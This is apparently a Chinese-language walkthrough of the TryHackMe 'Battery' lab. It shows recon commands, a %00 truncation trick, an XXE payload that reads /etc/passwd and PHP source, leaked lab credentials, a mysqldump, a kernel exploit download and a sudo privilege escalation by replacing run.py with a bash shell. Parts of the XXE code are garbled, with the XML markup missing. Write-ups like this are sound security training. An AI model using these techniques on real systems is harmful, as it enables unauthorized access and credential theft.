URL : https://tryhackme.com/room/battery
IP : 10.10.207.162
Recon
- 掃 Port
rustscan -a 10.10.207.162 -r 1-65535
- 發現有開22
- 80
nmap -A -p22,80 10.10.207.162-
Web
- 觀察首頁
掃路徑- 
/forms
/admin.php-
發現 /forms把 Header 拔掉就不會自動跳轉-
- 裡面傳送的資料是 XML ,可能可以 XXE
但沒有登入都失敗
function XMLFunction(){
var xml = '' +
'' +
'' +
'' + $('#name').val() + '' +
'' + $('#search').val() + '' +
'';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST","forms.php",true);
xmlhttp.send(xml);
};
- 在
register.php註冊一組帳密meow ABCmeow
- 註冊成功
嘗試登入- 
- 使用介面上的功能

- 發現不能使用再註冊一組-
meow1 DEFmeow1掃目錄-
- 發現一個
/report載下來發現是一個 ELF-
Reverse
- 選單
使用者-
字串比較-
更新- 
- 這邊看到
admin@bank.a滿可疑的
Web
- 嘗試註冊
admin@bank.a
被嘲諷ㄌQQ- 但這代表應該確實跟這個有關!!用 Burp 後面加上
%00截斷-
註冊成功-
後台亂輸入都會噴錯-
重新試著 XXE- 
function XMLFunction(){
var xml = '' +
'\n' +
' ]>\n' +
'' +
'' + "0" + '' +
'' + "&b;" + '' +
'';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("POST","forms.php",true);
xmlhttp.send(xml);
};
XMLFunction();
- 可以讀檔

cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1002:1002:,,,:/home/yash:/bin/bash
- 看起來有興趣的使用者
cyber yash讀取原始碼-php://filter/convert.base64-encode/resource=/var/www/html/acc.php
- 找到註解上的密碼
//MY CREDS :- cyber:super#secure&password!
SSH
順利連上取得 Base Flag- 
提權
- 起手式
sudo -l
- 發現可以用 root 執行一個
run.py``run.py-
- 但我們沒有權限讀取他 QQ觀察原始碼-
admin.php找到 mysql 的帳密Dump Mysql- mysqldump -u root -h 127.0.0.1 -p details > a.sql 

- 看到一組密碼

I_know_my_password但好像就沒有什麼進展了 QQ跑 Linpeas-
- 發現 Linux Kernel 好像有點舊,可以用 Exploit
- https://www.exploit-db.com/exploits/37292試著載下來編譯執行-

- 就成功 Root ㄌFlag2-
Root Flag- 

另外一種提權法
- 剛剛可以用 sudo 執行
run.py但是沒有權限可以讀取但因為這是我的家目錄,所以我可以改檔名、新增檔案-
所以自己創一個 run.py-import os os.system("/bin/bash")再 sudo 它-
- 也可以順利提權
學到ㄌ
%00 截斷
XXE 記得加 ;